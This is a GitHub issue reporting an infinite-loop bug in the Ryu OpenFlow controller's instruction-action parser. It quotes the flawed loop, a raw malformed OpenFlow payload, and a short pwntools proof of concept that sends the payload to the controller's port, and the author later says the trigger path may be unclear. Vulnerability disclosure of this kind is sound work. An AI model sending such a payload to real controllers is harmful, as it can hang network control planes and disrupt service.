Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Suggestion for OFPInstructionActions parser will cause an infinite loop #189

Closed
ErodedElk opened this issue Mar 25, 2024 · 2 comments
Closed

Comments

@ErodedElk
Copy link

in /ryu/ofproto/ofproto_v1_3_parser.py about line=2922

class OFPInstructionActions(OFPInstruction):
   ...
    @classmethod
    def parser(cls, buf, offset):
   ...
        try:
            while actions_len > 0:
                a = OFPAction.parser(buf, offset)
                actions.append(a)
                actions_len -= a.len
                offset += a.len

If OFPAction.len=0,the offset will no longer change and the parsing will fall into an infinite loop.

This message will put ryu into an infinite loop:

payload=b"\x04\x0e\x00\x50\x00\x00\x00\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"

poc:

from pwn import *
p=remote("0.0.0.0",6633)
payload=b"\x04\x0e\x00\x50\x00\x00\x00\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
p.send(payload)
p.interactive()
@ErodedElk
Copy link
Author

in /ryu/ofproto/ofproto_v1_3_parser.py about line=2922
in /ryu/ofproto/ofproto_v1_4_parser.py about line=4586
in /ryu/ofproto/ofproto_v1_3_parser.py about line=5454

@ErodedElk
Copy link
Author

There may be no clear path to trigger this vulnerability. The previous payload originated from #188.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant